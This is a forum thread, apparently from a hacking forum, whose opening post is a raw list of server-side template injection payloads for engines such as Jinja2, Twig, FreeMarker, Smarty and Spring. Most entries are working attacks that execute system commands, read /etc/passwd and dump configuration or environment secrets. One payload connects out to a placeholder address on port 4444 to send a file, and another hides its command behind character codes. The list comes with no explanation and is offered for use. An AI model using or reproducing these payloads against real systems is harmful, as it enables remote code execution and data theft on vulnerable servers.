SSTI-Web-Vulnerabilities
by Ashu - Wednesday August 28, 2024 at 06:41 PM
#1
  • ```js
  • {{2*2}}[[3*3]]

  • {{3*3}}

  • {{3*'3'}}

  • <%= 3 * 3 %>

  • ${6*6}

  • ${{3*3}}

  • @(6+5)

  • #{3*3}

  • #{ 3 * 3 }

  • {{dump(app)}}

  • {{app.request.server.all|join(',')}}

  • {{config.items()}}

  • {{ [].class.base.subclasses() }}

  • {{''.class.mro()[1].subclasses()}}

  • {{ ''.__class__.__mro__[2].__subclasses__() }}

  • {% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}

  • {{'a'.toUpperCase()}}

  • {{ request }}

  • {{self}}

  • <%= File.open('/etc/passwd').read %>

  • <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}

  • [#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}

  • ${"freemarker.template.utility.Execute"?new()("id")}

  • {{app.request.query.filter(0,0,1024,{'options':'system'})}}

  • {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

  • {{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}

  • {{''.__class__.mro()[1].__subclasses__()[396]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0].strip()}}

  • {{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

  • {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}

  • {$smarty.version}

  • {php}echo `id`;{/php}

  • {{['id']|filter('system')}}

  • {{['cat\x20/etc/passwd']|filter('system')}}

  • {{['cat$IFS/etc/passwd']|filter('system')}}

  • {{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}

  • {{request|attr(["_"*2,"class","_"*2]|join)}}

  • {{request|attr(["__","class","__"]|join)}}

  • {{request|attr("__class__")}}

  • {{request.__class__}}

  • {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

  • {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

  • {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

  • {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

  • {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

  • {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

  • ${T(java.lang.System).getenv()}

  • ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

  • ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • ```
Reply
#2
very useful thanks
Reply
#3
Oh great i think i can use this or can i?
Ban reason: Leeching | http://raiddfzn73ir6iyxlf7nwytnujiflddog...an-Appeals if you feel this is incorrect. (Permanent)
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  video explaining the most famous dark web forums Veto 22 1,251 Today, 10:26 AM
Last Post: nuhat34
  ⭐Dark web Tutorials To Make Money⭐ | Easy 400$+ Daily!⚡ CamaryForyou 937 63,425 Today, 10:24 AM
Last Post: nuhat34
  [FREE] OffSec Introduction Courses (PEN-100, WEB-100, SOC-100, PEN-103, CLD-100,etc.) Tamarisk 659 102,264 10-16-2026, 10:04 AM
Last Post: 421
  Web Exploitation Payloads & Bypass Techniques Fkz 42 19,719 10-16-2026, 07:11 AM
Last Post: H0lyM0ly
  Safe search engine adresses for the Dark Web Adelia 4 5,553 10-15-2026, 08:46 PM
Last Post: LynxOn



 Users browsing this thread: 1 Guest(s)